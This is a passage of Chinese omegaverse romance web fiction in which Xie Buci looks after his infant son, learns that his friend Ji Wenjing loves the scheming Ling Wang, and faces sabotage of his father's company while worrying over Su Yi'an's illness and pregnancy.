那眼神里没有一点光亮。 就仿佛,人早就已经死了,只留下一句沉重腐烂的身体,行尸走肉一般重复着日复一日的生活。 谢不辞收起手机,又转头看向雪团。 孩子注意到他的视线就知道他又要说话,主动拒绝交流,转过身去背对着他。 这次谢不辞没再凑到跟前,只用低沉的声音问了一句:“你觉得你爸爸爱你吗。” 雪团不回答他,只自顾自的说道:“我爱我爸爸。” 不管苏以安怎么对待他,他爱苏以安是改变不了的事实。 这是苏以安亲生的孩子。 他也许不懂什么是爱,可从不吝啬向苏以安表达。 “我们去对门看看他,行吗。” 是疑问句。 没有亲眼看见的时候,谢不辞只对他们曾经过得不容易有一个模糊笼统的概念,知道很艰难,却从没具体细化出什么来。 他不知道苏以安要过得多担惊受怕,才能把雪团保护得这么好送到他手上。 做过那么大的手术,身体都没恢复好,还要经历黑药这种不少人蓄意陷害的灾难。 而且沈伊也说,当时生雪团的时候,苏以安经历过一次大出血。 一年以后再见面,苏以安还跟他印象中一样,染着雾霾蓝的头发,身穿朋克风超短裤,在酒吧喝了一夜的酒。 就像什么都没发生过。 谢不辞说不清他该是什么心态,他想去见苏以安,却又不知道该说些什么。 也不是很清楚,他们到底因为什么在冷战。 因为,他们好像本身就不应该和谐的凑到一起,见面就打架才像常态。 “爸爸有话跟你说。” “什么?” “但是他不让我说,他说等我困了才能跟你讲。” 雪团在苏以安那认死理,苏以安说什么他听什么,不管谢不辞咋忽悠都无济于事。 “那你啥时候困?” 孩子是早上被送过来的,这还没到两个小时呢,才起床不久,怎么可能困。 但真等一个根本确定不了的时间,能把谢不辞急死:“你先提前跟我讲讲呢?我绝对不告诉你爸爸你没听他的。” “那我告诉爸爸你教我做不听话的小孩。” 谢不辞:…… 这孩子太聪明了。 没见过别人家孩子什么样,谢不辞也不知道这正不正常。 反正他跟雪团说什么,嘴上都没赢过。 于是谢不辞干脆也不问了,直接抱起雪团往对门走去。 因为知道密码,所以干脆也就没敲门,轻手轻脚的走了进去。 可能悄悄进别人家这行为不太礼貌,导致谢不辞没由来的心虚。 “你要干嘛?” 谢不辞刚站到卧室门口要往里看一眼,身后便忽然传来说话声。 吓得谢不辞差点撞门上。 苏以安说话的语气算不上好,搞得本来就有点做贼心虚的谢不辞更没法回答。 “找我干什么?” 可能苏以安也意识到了语气不好,怕吓到雪团,不愿意当着孩子面跟谢不辞吵架,便主动把态度缓和了些。 “也没什么的,就是不太放心你过来看看。” “还好意思过来找我?季文璟难道没跟你说?” 谢不辞飞快的回忆了一下吃饭的时候她们都说了什么,在确定没什么内容会让苏以安炸毛以后才试探性的回问:“他应该跟我说什么?” “出去吧。” “你自己去问,我不跟你讲,你不会相信我的。” 他下意识就想反驳,但看见苏以安完全没有血色的脸,就知道不应该再继续纠缠。 人是从卫生间那个方向回来的,看起来应该被孕吐折磨了好久,连走路的时候都身形摇摇晃晃的。 “我绝对相信你,但如果说了会得罪谁,那你不愿意开口我也不会追根究底。” 苏以安本身就没什么耐心,所有的好脾气都在刚才让谢不辞出去的时候被消磨干净:“你俩不高中玩到现在吗,那么好的兄弟有喜欢的人你能不知道?” “你还当事人呢。” “总不会你是当事人他也没告诉你吧?” “蒋泽不在场?蒋泽也不知道?俩人一起隐瞒你,还需要我多说?” 苏以安深吸一口气,带着些嘲讽语气,一字一句的跟谢不辞讲道:“无论雪团的周岁宴上有没有季文璟,他喜欢那位,都一定会到场。” “如果没到,如果他不是来闹事的,你定日子,我随时跟你领结婚证。” 谢不辞这会脑子里乱七八糟的。 他没深究过为什么连蒋泽也不开口告诉他,这会被苏以安点出来,才意识到,有些东西不是他刻意不在乎就能掩盖过去的。 而蒋泽一直拖着不愿意告诉他的,只有卖给苏以安黑药背后那位老板是谁。 所以,季文璟喜欢的是卖黑药的那个老板? 第69章 第 69 章 这么一想, 逻辑上好像居然真的说得通。 季文璟支支吾吾不敢直接告诉他,蒋泽一直拖着想等雪团生日过后再跟他说。 也许对方还会是个比较年轻的老板,毕竟谢不辞列表里除了他爸妈不会出现年长老板的联系方式。 而且苏以安那么讨厌他, 连对方不到孩子生日宴上闹事, 就让他定日子跟他扯结婚证这种话都说得出来, 那就是真提前预料到了什么。 紧接着谢不辞就开始语无伦次的解释:“那……你想怎么做?” “我不知道是谁, 没法跟你保证一定……对不起, 我绝对不会让人来咱儿子生日宴上砸场子的。” “你给我几天时间,反正现在还没到孩子生日。” 谢不辞还想再掰扯些什么,好让自己的话看起来多点说服力,但却被苏以安挥了挥手打断:“你少跟我扯没有用的,别在我面前晃悠了。” “我不想听。” 这个世界上,很难找出比男人嘴里说出来的保证更不值钱的东西。 “把雪团抱走吧,我跟他商量好了, 他今天住你那。” 话音落下,苏以安也没管谢不辞是什么反应,径直走进卧室关上了门。 门没有发出很大声音, 也许是怕吓到孩子。 不过听见那关门声, 谢不辞还是心里一沉。 屋内安静得落针可闻。 谢不辞没卧室, 自然没看见门后的那一地狼藉。 遮光窗帘没有被拉开,但被零零星星的溅上了不少颜料的痕迹。 地面上大片大片深红色加红褐色的颜料,还有杯子被打碎留下的玻璃碎片,床单被子都皱皱巴巴的。 还留下了不少各种已经空了的饮料瓶和外卖垃圾。 苏以安蜷缩着依靠卧室门坐了一会,确定听见串传来家里大门开关的声音才松了口气。 卧室内阴沉沉的,苏以安起身, 把自己摔在床上,仰头看向天花板。 这样的情景在过去六七年的时间里重复了无数次。 不同的是, 以前总是借着酒精逃避现实,很少有愿意收拾屋子的时候。 他总把精力放在打扮自己身上,越是有人觉得他漂亮,他就越要花枝招展。 同理,明知道对他图谋不轨的人会往他酒里下药,他也一样毫无顾忌的喝。 喝不死就往死里喝。 因为人不能太聪明,不能太清醒。 苏以安自己也明白,如果说以前的痛苦来源于没钱和总有老板想纠缠,那现在的,就一定来源于他知道的太多。 自他把雪团扔给谢不辞开始,到现在,他没得到一丁点预想中来自报复的快感。 偏偏昨天,还让他撞见了不知道什么时候回来的季文璟。 没说什么。 确实没说什么。 季文璟看见他的时候,只瞥了一眼他手里捏着的检查报告。 但什么样的家庭,就会养出什么样的孩子。 当初在高中时他爹能做出把苏以安拐走,借花送佛把人送到别人老板床上这种事,季文璟也一定大差不差。 同样的没有底线,同样的为达目的不择手段。 最开始知道他有信息素功能障碍这种病时,沈伊一直在跟他要的那些他曾经在黑市买到的药,都是季文璟他爹派人专门卖给他的。 苏以安很清楚,他在原先的圈子里,不管是混的风生水起还是穷困潦倒,都属于在大家眼皮子底下的范围。 大家看不起他,认为他掀不起什么多大风浪来,自然就都懒得处理了他。 但他一声不吭的离开,最先着急的就是季文璟他爹。 绑架,下药,□□,在omega保护法里,都罪无可恕。 除掉一个人的方法多得数不过来,在A国,每年不了了之的凶杀案多得数不过来,其实也没必要搞下药这种迂回战术。 然后话题就又转回到了季文璟身上。 季文璟没敢直接跟谢不辞说的那个喜欢了很久但不清楚对方是什么意思的人,是凌望。 凌望本身就有点法外狂徒的疯劲,会装又爱演,再加上是个在哪都能玩得开的omega,他基本没什么怕的。 紧接着就出现了,没人知道凌望想要什么,也没人知道他到底想干什么的场面。 那违禁药,就是凌望搞出来的。 是试验品,需要信息素等级比较高的omega给他试药。 但搞高品阶omega人口贩卖,还要全须全尾的,不光价格高得很难估量,还有价无市。 于是季文璟父子俩只需要稍微一商量,季文璟想讨心上人欢心,他爹想除掉苏以安的烦恼就都得到了妥善的解决。 凌望也是个小少爷,花点钱让苏以安在A国买不到除了他们特供的药简直易如反掌。 这不需要证据。 如果连是谁要加害于自己都毫无察觉,那苏以安早就尸骨无存了。 可知道也没什么实质性的作用。 因为没法讲出来。 阶层都不一样,干嘛非要去螳臂当车。 而且坏人从不会认为自己是坏人。 还会冠冕堂皇的找借口,比如—— 季文璟也许会告诉谢不辞,他作为对方最好的朋友,看着谢不辞和苏以安打了这么多年,连带着对苏以安产生偏见,不是理所当然的吗。 甚至还有可能,会反咬一口,说如果苏以安自杀,谢不辞也一定是刽子手之一。 但这些都是他们之间的事情,苏以安懒得操心。 他唯一的烦恼只来源于,一旦他的情绪被谢不辞影响,对谢不辞产生负面印象,就一定会对雪团有一定的偏见。 他很清楚孩子无辜,孩子爱他。 可又始终无法消除芥蒂。 第70章 第 70 章 谢不辞回家以后, 先是给蒋泽发了消息问季文璟到底喜欢谁,随后又觉得等回复太慢,直接打了个电话过去。 蒋泽与最开始的态度一样, 始终支支吾吾的不愿意直接回答谢不辞。 “你俩到底在瞒着我什么?” 两人皆对着电话沉默了许久。 在谢不辞几乎失去耐心时, 蒋泽才像终于纠结好了一般, 缓缓开口:“见面说吧。” 因为还不算完全过完年, 之前带雪团的育儿嫂还没从老家回来, 他爸开始重新安排工作以后,他妈也渐渐有了别的事情,谢不辞就只能先自己带着孩子。 于是见面的地点自然而然的定到了谢不辞家。 蒋泽过来敲门的时候,刚好是午饭点。 他带了平时跟谢不辞聚在一起经常买的熟食和盒饭,还给雪团带了零食和玩具。 开门迎接蒋泽的时候,看着他手里拎着的大袋小袋,谢不辞心里立马就升起了一种不好的预感:“你俩到底瞒着我啥对不起我的事了?” “现在已经到了让你来看我, 都得拎着东西上门的程度了?” 蒋泽随手把提前买好的饭递给谢不辞,然后带着零食和玩具进去找雪团:“我给我大侄子带的,有你什么事。” “马上就是孩子周岁宴了, 给钱也显得我们太没有诚意了。” 毕竟钱这个东西, 人人都能给, 只看想不想。 蒋泽凑到雪团跟前,举着手机屏幕朝孩子展示:“宝你自己挑挑,喜欢哪个礼物,不用跟叔叔客气,只要你提,蒋叔叔都送你。” 谢不辞跟过去, 往蒋泽屏幕上看了一眼。 那屏幕上放着的图片一条是很朴实无华,请了知名大奢侈品品牌模特展示的——大金链子。 看起来克重就很大, 有大拇指那么粗。 处处透着一股子暴发户的味道。 但不得不提,拍得确实不错,显得颈部线条流畅又好看。 谢不辞皱了皱眉,吐槽道:“你这什么品位?” “我说你能不能……” 后面要说的那句让蒋泽正经一点的话还没来得及出口,就见雪团两只小手接过蒋泽那屏幕很大的手机,指着图片上的大金链子看向蒋泽。 在蒋泽问喜不喜欢的时候,先是看了看谢不辞的表情,然后当着他的面,奶声奶气的跟蒋泽说:“谢谢叔叔。” 那发音标准得,跟雪团刚到谢不辞手里那会喊他爸爸有的一拼。 谢不辞:…… “你别整那没有用的,他这么小,他知道这是啥玩意吗。” 蒋泽没言语,雪团却率先抢答:“是大金链子。” 于是他俩谁也没搭理谢不辞,蒋泽顺着雪团的话继续往下问:“那等你生日蒋叔叔送你这个行吗。” “行。” 谢不辞扒拉开蒋泽,坐到两人中间,朝着雪团问道:“大金链子谁教你的?” “爸爸喜欢。” 小孩子的思想很简单,苏以安喜欢,恰好蒋泽也有想送的意向,雪团当然愿意接受。 总不能,要对着还不到一周岁的孩子讲人情世故吧? 这句爸爸喜欢被谢不辞悄悄记下。 谢不辞从袋子里翻出几根包装花哨的鳕鱼肠和山楂棒,将外包装撕开一点口子,递到雪团手边。 蒋泽买的确实都是雪团没吃过的。 雪团吃过的很难有愿意吃第二次的,谢不辞之前和蒋泽吐槽过。 蒋泽比他细心很多。 安顿好孩子,谢不辞便拽着蒋泽进了卧室。 “好了现在孩子听不见了,要跟我说什么,你自己招。” “有点乱,但我只能告诉你,季文璟喜欢的是凌望。” 挺简短的。 但蒋泽确实只能说到这里。 之前提过的A国的地下药品产业链能一直发展下去,一定有一套完整的信息保密体系。 他们很难查到背后是谁。 就算有断断续续的线索能让你锁定目标范围,或者是具体猜到某个人身上,你很确信一定是对方,也不可能搜到确凿的证据得到状告对方的把握。 他们俩都跟季文璟玩得很好,好了这么多年,这种话,就更不应该乱说。 听见凌望这个名字,谢不辞心情有点复杂。 虽然没猜到,但也算不上意外。 毕竟凌望确实符合季文璟暗戳戳告诉他的所有条件,也确实有要在他儿子生日宴上闹事砸场子的动机。 “他跟凌望在密谋什么吗。” “那你自己去问他呗。” 避而不答就已经是回答了。 谢不辞深吸一口气。 这真的很难办。 一边是玩了很多年,关系再好不过的兄弟,一边是很喜欢还连孩子都生完了的老婆。 选不出来。 像天塌了一样。 70-80 第71章 第 71 章 “那我问点你擅长的。” 之前谢不辞一直把蒋泽当成追人的感情军师, 但都感情军师了,也没人说不能反向利用一下。 “对于我该怎么拒绝凌望,你有没有什么比较中肯的建议?” “最好是能让我们四个人的关系维持一种微妙的平衡这样。” 蒋泽神色复杂的叹了口气。 在听见四个人关系维持微妙平衡的时候, 他眉毛都快拧成麻花了:“哥们, 要不咱许愿还是去庙里呢?” 想甩开凌望, 又不愿意破坏自己跟季文璟的关系, 还想要苏以安知道又不介意。 怎么可能。 “不行, 你比王八灵。” “……你还整上押韵了。” 蒋泽其实在谢不辞拖家带口的去旅游,被凌望当众求婚之前,根本不知道还有凌望这么一号人。 之前谢不辞带着凌望搞替身文学似的乱玩的时候,他俩听见的都不是这个名字。 而且小白花人设维持得太好了,再加上凌望家里管得严,根本没人把谢不辞身边这小替身,跟一听就自尊心很强的豪门少爷联想到一起。 “可能现在说的不太好听, 但是你跟我讲句实话。” 蒋泽说到这还先停顿了一下,给谢不辞留了点缓冲的时间。 “如果没有雪团,你更喜欢的, 到底是凌望还是苏以安。” “不用急着回答……” 谢不辞根本没给蒋泽说完后面这半句的时间, 立马就跳起来反驳, 反驳的言论甚至还完全不经大脑思考:“他俩哪来可比性啊?!” “不管谁跟苏以安放一块,我选的都会是苏以安。” “为啥啊。” 相比之下,蒋泽就淡定了许多。 然后一针见血的用三个字熄掉了谢不辞嚣张的气焰。 按谢不辞以前的做事风格,从来不会去思考喜欢谁或者不喜欢谁这种没什么意义的事情。 可能他潜意识里也是明白的,只要他不手欠不去苏以安面前晃悠,他们俩早就没什么交集了。 但是他不愿意。 谁一辈子过得那么顺风顺水, 就一点磁场不合见第一面都讨厌得要死的人都见不到。 可于谢不辞而言,这样的人早就在他可能根本不知道的情况下被处理掉了。 “我也不太清楚为什么, 这是你问出这个问题以后的第一反应。” 凌望对谢不辞是蓄意接近,研究过谢不辞的喜好,也能精准的在无数个小细节里制造出让谢不辞心动到真的像谈了恋爱一样。 但就是让人觉得差了点什么。 苏以安虽然从头到尾都各种看不上谢不辞,却偏偏对谢不辞有种说不出来的吸引力。 具体喜欢什么,如果谢不辞能说出来,可能事情还会好办一些。 “那你该把重点放在怎么把苏以安追到手,而不是顾忌一堆没有用的东西去思考怎么拒绝凌望。” “因为,在你看不见的地方,有无数方的势力向他施压。” 在这段时间里,一定有人让苏以安要么嫁给谢不辞,变成永远也没法给谢家生意带来任何帮助的累赘,要么远离谢不辞,给圈子里的名门望族腾地方。 “……哦。” 蒋泽不知道他听懂了多少,但看他现在这个状态,也知道再多说什么都是没有用的。 只得草草嘱咐两句结尾,又觉得酒都没法一块喝两口,继续留下也没什么意思,便连饭都没跟谢不辞一起吃便离开了。 把蒋泽送走以后,谢不辞回来就见雪团已经自己靠在沙发上睡着了。 小孩会自己玩,不是吵闹的性格,一般也不怎么需要哄,晚上也可以自己睡整觉。 还健健康康的,你说什么也能听得懂。 像个来报恩的天使宝宝。 谢不辞把雪团抱进卧室专门给准备的婴儿床,又专门给盖了被子才放下心来。 而后自己随便吃了两口午饭,收拾桌子之前看了一眼手机锁屏上忽然弹出来的消息。 凌望发来的。 是一句莫名其妙的话:我给你送了份礼物。 他还说,他送来的礼物,谢不辞从来没见过,也一定会因为这礼物彻底记住对方。 谢不辞不屑一顾。 谢家不缺钱,不缺上赶着来巴结的人,他谢不辞从小到大什么好东西没见过,就因为个礼物彻底记住对方? 谁这么没出息。 他没理会这种看起来就有病的消息,转头进了厨房洗碗,但回来的时候就见凌望不死心,又发了新消息过来。 内容是:你要是想见见我,我也可以勉为其难的同意。 这高高在上的态度,这从文字上透露出来的普信劲,让谢不辞没由来的觉得这人像个跳梁小丑一样,很好笑。 还是那种对方随时可能发点抽疯语录过来的小丑。 谢不辞原想骂他两句,但字在输入框里打了又删,纠结了许久也没组织出很有气势又显得不那么没素质的话。 只得暂时放弃。 不过很快谢不辞就发现事情好像并没有他想得那么简单。 因为他收到了这么多年以来,他爸头一次主动发给他的消息。 不是转账,不是交代钱在哪之类看起来就很官方很客套的话。 是一行谢不辞刚看见就整个人都僵住了的文字—— 最近公司资金出了点问题,爸爸也不愿意跟你开口,但现在也想不到更好更快的办法。 没有明说。 但谢不辞很清楚,他爸是一个严肃靠谱的人,自尊心很强,与他父子关系虽然不紧张,却也算不上多亲近。 一个一辈子勤勤恳恳做生意的小老头,人品也还不错,没遇上过很难处理的大风浪,到了晚年,居然沦落到需要向儿子开口借钱的地步。 而且最让谢不辞揪心的是,具体发生了什么,他无知无觉。 谢不辞没犹豫,直接去卧室把雪团从床上抱起来,给穿了厚衣服,跟孩子商量有点事要出去一趟。 然后两人一起开车去了银行,只留下了一点他和雪团的生活费,剩下的钱都填单子转到了他爸的账户里。 什么都没说。 因为谢不辞知道,在家长眼里,出什么事情都不太愿意让孩子知道。 他爸能跟他开这个口,困难肯定是真困难,不过也不希望他刨根问底,或者上赶着一定要帮什么忙。 雪团安安静静的陪着谢不辞从银行回家,回了家以后又自己哄自己睡了一会。 变故降临得有些突然。 谢不辞虽然从得知起就一直在给自己心理暗示安慰自己,但却也还是无论如何都放心不下。 于是旁敲侧击的给他爸的秘书发了消息,问具体是什么情况。 秘书回他消息的时候,已经是深夜了。 大概总结一下就是,他们年前签了一笔大单子,违约金挺高的,因为与之前很靠谱的一家材料供应商合作了很多次,这次就直接付了全款。 等年后开工发现有问题的时候,已经过了和供应商合同上的验货期限。 秘书说的供应商谢不辞知道,跟他爸起码合作了将近十年。 因为年底,供应商那边直接把材料运到了加工车间,车间经理只确认了数目,年前没拆包装。 回来以后才发现,材料都是腐烂变质的残次品。 因为原材料有问题不能按时交货,他们的甲方又开始各种作妖闹事,让他家赔偿天价违约金。 屋漏偏逢连夜雨。 其他在年前谈成,几乎没什么大问题的项目也开始在这个时候故意找茬,推卸责任,想方设法的钻合同漏洞让他们赔钱。 是很明显的故意针对。 谢不辞都能看得出来,他爸作为当事人,就更不用说了。 不过就算知道也没什么作用,对方就是做了绝对充分的准备要搞他们家。 谢不辞给他爸的秘书打了个电话过去。 打电话的时候已经后半夜了,电话那头说第一句话的时候,谢不辞就听出了对方的疲惫。 “你不用担心,我跟了谢总这么多年,很清楚他的能力,给他些时间,他一定都能处理好。” 他爸那边自然不用多说,但谢不辞更在意的是:“知道是谁在背后搞我们吗。” “大概知道,但还是那句话,谢总有把握,您还是别乱问了。” 谢不辞没再多言语,只朝秘书嘱咐:“那您也注意休息,辛苦了。” 挂掉电话,谢不辞又点进凌望的聊天记录看了一眼。 最后一句话仍然是,如果谢不辞想见他,他也可以勉为其难的同意。 这不摆明了就是威胁吗。 你想见我我可以勉为其难的同意,翻译一下就是,对,你家就是我搞的,那又怎么样,你想知道什么你当面问我呗。 谢不辞捏着手机的手握紧了些。 他深吸一口气,然后咬牙切齿的打字回复:什么时间,在哪。 但凌望明显是故意的,让谢不辞从凌晨等到第二天下午,也依旧什么都没回复。 紧接着谢不辞思虑再三,决定带着雪团回自己家别墅看一眼。 家长好面子出什么事不愿意让孩子知道是一方面,他不能不管不问是另一方面。 而且能有这样的变故出现,只能说明想搞垮他家的那位,很有可能跟他爸交情甚好,让那些长期合作的供货商也对这个人没有防备。 跟在他爸身边这么多年的,都是讲情义的。 以至于想起电视剧里那些豪门发生什么大事,父亲承受不住心理压力要么重病要么去世,母亲也非死即疯的烂剧情,谢不辞就觉得心惊胆战的。 但好在进了自家别墅也一切如常,谢夫人看见雪团还主动接过去抱。 然后热情的给雪团拿零食,顺手赏给谢不辞一瓶牛奶让他自己找地方坐。 这一套举动下来,谢不辞都有点怀疑她是不是受了什么大刺激疯掉了。 “那个……妈您……” “我怎么了?觉得我态度不正常?觉得我被刺激疯了?” 谢夫人斜靠在沙发上,满不在乎的撕开雪团脚边那包薯片的包装袋,还顺手指使谢不辞去把电视柜上的花浇了。 谢不辞犹豫着刚要起身,谢夫人就拽住他的衣角,让他又被迫坐回去。 “这衣服不便宜呢吧?” “我记得你以前不喜欢这牌子啊,你不说人家又贵又装还杀马特吗。” …… 这语气谢不辞熟。 他妈每次在他犯什么事想对他搞血脉压制之前都整这样的阴阳怪气。 这样的开头,他早已经默认成了他妈要开始对他说教之前的铺垫。 “也……也还行吧?” 这个牌子的衣服确实风格太张扬而且太奇形怪状的了。 贵不贵可以单说,但是荧光配色加不规则的剪裁,某些款式还要配骨钉或者链条的装饰,一般人极难驾驭。 不知道是不是他们这种俗人理解不了潮人的风格,反正谢不辞觉得这种衣服要是穿上街,他根本就抬不起头来。 不过以前苏以安穿很好看。 可能是人家长得就不错,学艺术的气质也好。 硬生生就驯服了这丑得离谱的品牌。 然后就又到了老生常谈的不服环节。 苏以安能穿,而且能穿好看,他凭什么不行。 谢不辞到现在都记得当时拿着这个牌子最新款衣服找设计师去搭配的时候,人家设计师那有些震惊有些惶恐又有些难以置信的表情。 谢不辞不说话,谢夫人就硬拉着他过来唠:“我摸摸这什么布料的。” “哦这有标签,牛仔布/棉80%-100%。” “知道啥意思不?” 谢不辞吞了口口水,不动声色的跟谢夫人拉开了点距离:“啥意思啊?” 谢夫人以前不管谢不辞穿什么,他就是真穿得精神小伙似的,买死贵又丢人的衣服,只要他愿意穿在身上,谢夫人完全可以当做看不见。 而且现在这外套挺正常的,就常规款的牛仔外套,还是黑的。 现在就类似于,谢夫人明明可以直接骂他,但还像模像样的找了个看起来很家常的开头? “意思就是大街上摆地摊几十块钱一个的牛仔外套也是一样的布料,只要你不光着出去,没那么多人在意你套身上的大布片子是多少钱买的。” “你要是有钱,你可以穿几十万的西装,大不了就当是花钱买开心了。” “没有钱这西装也不是非穿不可。” 看起来是在说衣服,其实也在暗戳戳的告诉谢不辞,如果真没钱,包装精致的有机蔬菜吃不起,那菜市场几块钱一斤还沾着泥的也许更新鲜。 反正到最后都是排泄物。 “……哦。” 但谢不辞很有实力的完全没get到他妈想表达什么:“这么大事真不告诉告诉我吗,连破产以后咱家穿地摊货的准备都做好了?” 谢夫人闻言先是愣了一下,然后有点无语的朝谢不辞扔了个沙发垫过去。 她也没想到,谢不辞是怎么做到每次她想教育他的时候,都能跟她交流得驴唇不对马嘴的。 谢夫人努力了许久,才强忍着没骂谢不辞。 她张了张嘴,似乎组织了许久语言:“你相不相信你爸对我来说都不重要。” “但老爷们是我自己选的,也无风无浪的过了这么多年,那就没有中途跳车的道理。” “我相信他的能力,万事大吉最好,做不到我也不会有怨言。” 什么经济水平享受什么样的生活质量。 什么样都接受。 “所以到你身上也是一样的,决定是你自己做的,没有反悔的道理。” 谢不辞知道他妈在特指什么,没有接话也没有反驳。 他这个人,散漫惯了,无论是谁看都会觉得没正形没责任心。 忽然变成孩子爹也没对他的生活造成任何改变,上了班也依旧是那副三天打鱼两天晒网的劲头,挣了点小钱,过个年就又退回原点。 要说这么多年始终如一的。 拿得出来,但拿不出手。 因为只有对苏以安死缠烂打这一件事。 “那道理我都懂……” 谢不辞后半句话甚至还没说出口,他妈就又扔了个沙发垫怼他脸上:“孩子还在这呢,别逼我抽你。” “好的。” 紧接着谢不辞立马把那他自己不知道该不该说的话咽回去,起身去浇他妈刚进门就吩咐他去浇的花。 他觉得,他妈说得很有道理。 没有本事的人是没办法守住家业的。 所以他该相信他爸的能力和这么多年积攒下来的人脉,就算实在无力回天,起码他妈妈心态很好。 可他又总觉得好像有哪里不太对劲。 就比如,见不得他们家好,费尽心思要搞到他们破产的人,真的会见目的达到了就适可而止吗。 谢不辞就算再没有见识,也不会不知道豪门是个吃人不吐骨头的地方。 一定有人赶尽杀绝。 一定。 到那个份上,他妈妈也还能说的出现在这番话吗。 离雪团周岁宴的日子越来越近。 而凌望说可以见谢不辞一面的消息,谢不辞回复以后就再没得到一点回应。 过后谢不辞也不是没问过,只是对方不吱声,他也得不到什么比较准确的消息。 毕竟按他们圈子里的话来讲,凌望是把季文璟当狗训。 让他去问季文璟还不如让他干脆就别想着这码事,反正最后都会是得不到有用东西的结果,不如闭上嘴,起码兄弟之间还能留点情面。 只是,自上次谢不辞收到消息以后,凌望就没了别的动作,他爸的公司也见到了正常进账。 看起来一切都在往比较好的方向发展,但谢不辞就是有一种说不上来的,凌望在搞个大的的感觉。 就像苏以安一开始说的,不管季文璟受不受邀,凌望都一定会出现在现场。 这是一场他们都还没法预估的闹剧。 雪团周岁宴倒计时七天。 谢不辞带着孩子住回了苏以安对门,回来的时候还特意询问过苏以安,要不要让孩子跟着对方住几天。 但苏以安脸色不好。 是那种肉眼可见的,像是生了比较严重的病那种差。 谢不辞想问,只不过对方不给一点机会,话都不愿意跟他讲一句。 谢不辞抱着孩子现在1501门口的时候,雪团倒是说了想跟爸爸一起住,苏以安细声细语的跟雪团商量了好久,还是让谢不辞带回了对门。 越细想越觉得不对劲,这次谢不辞回了家,立马给沈伊打了电话,等沈伊接了,也管人家有没有空,扯着人家东问西问。 “上次你说带他检查结果怎么样你怎么不跟我讲?” “他到底怎么了,这几天脸色为什么这么差,情况真的不乐观你作为医生为什么不让他住院?” “还有,都做了什么检查,你把我当家属你倒是跟我讲啊。” 这几句话下来,沈伊二话没说,直接赏了谢不辞一个挂断。 沉默了好几秒没等到回应,谢不辞才后知后觉的把手机从耳边拿下来,看了一眼屏幕。 发现从通话页面变成主屏幕后先是一愣。 然后气急败坏的重新把电话拨过去。 这次电话那头不疾不徐的开口:“我是医生又不是你们家保姆,你是他直系亲属吗,做检查的时候你在哪,你替他付钱了吗。” “你有什么资格质问我?” 这一套下来,成功让谢不辞消停了不少。 沈伊也是个不惯他毛病的,把他刚才那段话全然理解成了是谢不辞上赶着找骂:“你这态度你可最好别生病,不然保不齐哪天就有记恨你的装成医生把你治死。” “你是家属你干什么都不到场,我还得上赶着跟你汇报啊?你把苏以安买断了还是把我买断了?” 谢不辞小声反驳:“那你不是……医生吗。” “哦,还知道我是医生呢?” “我看你跟我说话着架势,不知道的还以为我是你们家畜生呢。” “我有个朋友刚好是成人精神科主治医生,我可以给你走个关系,不用你亲自去挂号,到那就能直接看。” …… 谢不辞不知道这话该怎么接,然后见沈伊实在不愿意跟他交流,也就没再跟他纠缠什么,默默挂断了电话。 挨个骂而已,这也没什么的。 谢不辞没跟沈伊隔着电话像要打起来似的,有个最主要的原因—— 沈伊这个精神状态,一看就是在苏以安那吃瘪了。 对于这点,谢不辞还是很有发言权的。 苏以安是众所周知的记仇脾气差,但凡不是他需要当老板伺候的,他基本都不愿意给好脸色。 然后还很有素质的不骂人,只冷着一张脸。 识趣的会觉得他不好接近,看没什么意思,该走的也就都走了。 要是有像谢不辞跟沈伊这样不识趣硬要纠缠的,就参考苏以安对谢不辞养胃的造谣和一个没留神就成了孤儿院院长的沈伊。 不发疯才不正常呢。 沈伊好歹正经一点,骂完谢不辞以后,临到下班点,也还是把所有的检查结果的电子文件都传给了谢不辞。 检查前前后后做了十好几种,都是最近几天的。 但没有医生发言,谢不辞一个都看不明白。 唯一能指望着得到点简单易懂消息的B超,还前前后后翻了好几遍也没看见。 检查结果的文件之后还跟了一张拍上好几张收费单据的照片。 随后沈伊附言:“家属来了家属先缴费,然后再来听医嘱。” 谢不辞点开计算器,把收费项目加到一半,发现付款账户的卡号后四位,是谢不辞之前跟苏以安……给对方钱的那张卡。 也不知道苏以安没花沈伊的钱这一点是哪里让谢不辞爽到了,谢不辞直接退出计算器,找出苏以安聊天界面,大大方方的转钱过去。 因为以前花钱比较大手大脚,也不会特意关注自己还有多少钱,花了多少钱,所以觉得没少给,谢不辞还在转账备注里特别装b的写上一句:你往后的检查费,哥也都包了。 但一般情况下来讲,只要是想装,就一定会出点意外。 早上才去银行把钱都转给他爸应急,下午谢不辞就完全记不起来还有这茬了。 看见余额不足问他要不要换卡支付的信息时,谢不辞还觉得有些不可思议。 直到不信邪的换了三张卡都没支付成功,谢不辞才猛然想起,他手里好像只剩了他自己和雪团的生活费。 得节衣缩食一点…… 为了不影响他作为alpha在老婆面前的形象,谢不辞决定悄悄退出苏以安的聊天界面,当做什么都没有发生过的样子,重新找到沈伊。 窝窝囊囊的打字:[能不能先欠着,反正都亏欠那么多了,他应该也不是那么在乎这么一点检查费了。] 都没好意思发语音。 然后沈伊那边也特别善解人意的打字过来:[谢大少爷还缺这点?] 但是沈伊不会对着他阴阳怪气,知道他家公司目前出了点事,也没有过分为难他,把上面的话题截止到这里,后面就发语音正常交代病情。 “从目前的结果来看,信息素功能障碍还没看见明显的恶化趋势,我们对他的信息素进行了采样,只不过目前病例太少,还没有具体的治疗方案。” “就算是有,也是要随时调整的。” “况且我很早之前就说过了,他生雪团以后,身体底子一直都不好,他本身性格也不是很好,最好是身边有人照顾着,综合考虑,住院不是最好的选择。” “你熟知的一系列孕检我也都带他做过了,孩子情况还算不错。” 孩子情况还算不错。 谢不辞觉得,这句话翻译出来就是,已经开始不建议打掉了。 孩子没问题,但大人的问题小不了。 苏以安没有跟谢不辞说这些,估计也是不太希望得到他的意见,又开始什么都自己悄悄做主。 雪团生日马上就到了,他可能早就已经在盘算什么时候离开这里了。 沈伊没心思管谢不辞听见这些是什么心情,依旧在有什么说什么:“你跟他住得比较近,而且他身边,除了方明之就只跟你最熟了,所以我才把这些讲给你,下次说话放尊重点。” 谢不辞愣愣应下,然后双方就又相顾无言。 沈伊后面一反常态的没再多嘱咐什么,悄无声息的挂了电话。 再往后几天过得都还算是相安无事,只不过最近天气很不好,连着下了好几天的雪。 谢不辞每天都会例行公事一般去对门转悠一圈。 但不管他过去多少次,每次待多久,苏以安都不爱跟他说话。 他要是一直絮絮叨叨个没完,还会因为太吵而被赶出来。 而且谢不辞能感觉到,距离雪团的一周岁生日越近,苏以安就越焦虑,像当初年底那会一样。 苏以安肯定有自己的打算。 